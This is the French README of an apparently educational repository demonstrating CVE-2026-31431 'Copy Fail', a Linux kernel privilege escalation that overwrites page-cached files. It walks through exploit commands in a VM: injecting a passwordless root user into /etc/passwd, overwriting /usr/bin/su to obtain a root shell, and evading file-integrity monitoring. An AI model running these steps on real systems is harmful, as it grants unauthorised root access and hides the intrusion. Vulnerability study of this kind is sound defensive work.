
Une démonstration et une explication de CVE-2026-31431
Une démonstration et une explication de CVE-2026-31431, la vulnérabilité d'élévation de privilèges locale « Copy Fail » du noyau Linux. La vulnérabilité permet d'écraser des données dans le cache de pages pour des fichiers ouverts avec une permission de lecture.
Ce dépôt est à but éducatif uniquement et illustre la vulnérabilité dans un environnement contrôlé. Les fichiers inclus sont :
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
La vulnérabilité, nommée Copy Fail, est présente dans les noyaux Linux de 2017 à 2026 en raison d'un défaut logique dans algif_aead. Elle a reçu l'identifiant CVE-2026-31431 avec un score CVSS de 7.8, ce qui correspond à une sévérité élevée. L'exploit est déterministe et peut contourner les outils traditionnels de surveillance de l'intégrité des fichiers.
Des preuves de concept ont été publiées dans plusieurs langages, notamment C, Python et Go, mais cette démonstration utilise Python et nécessite Python version 3.10 ou supérieure. Cet exploit nécessite l'exécution locale de code en tant qu'utilisateur non privilégié et peut être utilisé pour une élévation de privilèges locale.
Les sections ci-dessous sont :
Assurez-vous d'avoir Vagrant et QEMU installés. Ensuite, clonez ce dépôt et placez-vous dans le répertoire du projet.
vagrant up
vagrant ssh
À l'intérieur de la VM, nous pouvons tester les limites de nos capacités.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Nous sommes évidemment limités dans nos capacités, mais nous pouvons utiliser la vulnérabilité pour élever nos privilèges.
Pour comprendre la vulnérabilité, écrasons un fichier factice et observons ce qui se passe.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Le fichier contient trois lignes. La première ligne fait 6 octets (saut de ligne inclus), la deuxième ligne fait 2 octets et la troisième ligne un seul octet. C'est important car l'exploit écrase les données par blocs de 4 octets, et nous rembourrons la charge utile pour la compléter.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Nous pouvons constater que les 8 premiers octets du fichier ont été remplacés par notre charge utile. Deux caractères sont présents mais ne sont pas affichables. Ouvrez le fichier dans nano pour vérifier.
Mais ce n'est pas très excitant, passons donc à l'écriture dans des fichiers pour lesquels nous n'avons pas de permission d'écriture.
Nous pouvons écraser le contenu de /etc/passwd pour ajouter un utilisateur disposant des privilèges root mais sans mot de passe.
cat /etc/passwd
La première ligne contient l'utilisateur root et est composée de 8 groupes de 4 caractères (saut de ligne inclus). Elle est formatée comme suit root:x:0:0:root:/root:/bin/bash, et les valeurs correspondent au nom d'utilisateur, au mot de passe, à l'UID, au GID, au répertoire personnel et au shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Nous avons ajouté un nouvel utilisateur hackd avec l'UID 0 et le GID 0, ce qui signifie qu'il possède les privilèges root. Le champ mot de passe est vide, nous pouvons donc nous connecter sans mot de passe.
su hackd
id
cat /etc/shadow
Dans l'exploit d'origine, le binaire /usr/bin/su est écrasé avec des instructions permettant d'exécuter un shell, ce qui permet à l'attaquant d'obtenir les privilèges root lors de l'exécution de su. Nous pouvons recréer cet exploit en ciblant /usr/bin/su avec la charge utile d'origine provenant d'un fichier.
Notez que cela détruit le binaire su dans le cache de pages.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Une fois la charge utile en place, nous pouvons exécuter su et obtenir les privilèges root. Cela ouvre un shell avec l'identifiant utilisateur 0, qui correspond généralement à root, mais si la démo ci-dessus a été effectuée, il s'agirait de l'utilisateur hackd que nous avons créé. Cet exploit ouvrirait un shell même si l'utilisateur root possède un mot de passe.
su
id
Cet exploit ne modifie pas le fichier sur disque, mais plutôt l'état du cache de pages. Par conséquent, les outils traditionnels de surveillance de l'intégrité des fichiers qui vérifient les modifications des fichiers sur disque ne détectent pas cet exploit.
Pour le démontrer, exécutez le(s) exploit(s) ci-dessus, puis après un redémarrage de la VM, vérifiez le contenu du fichier cible.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
Les composants suivants sont utilisés dans l'exploit :
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loLe commit qui a activé l'optimisation sur place à l'origine de cette vulnérabilité :
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
Le correctif a été réalisé sans aucune annonce publique et supprime la fonctionnalité de l'opération sur place dans algif_aead :
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
En savoir plus :
Implémentations en Python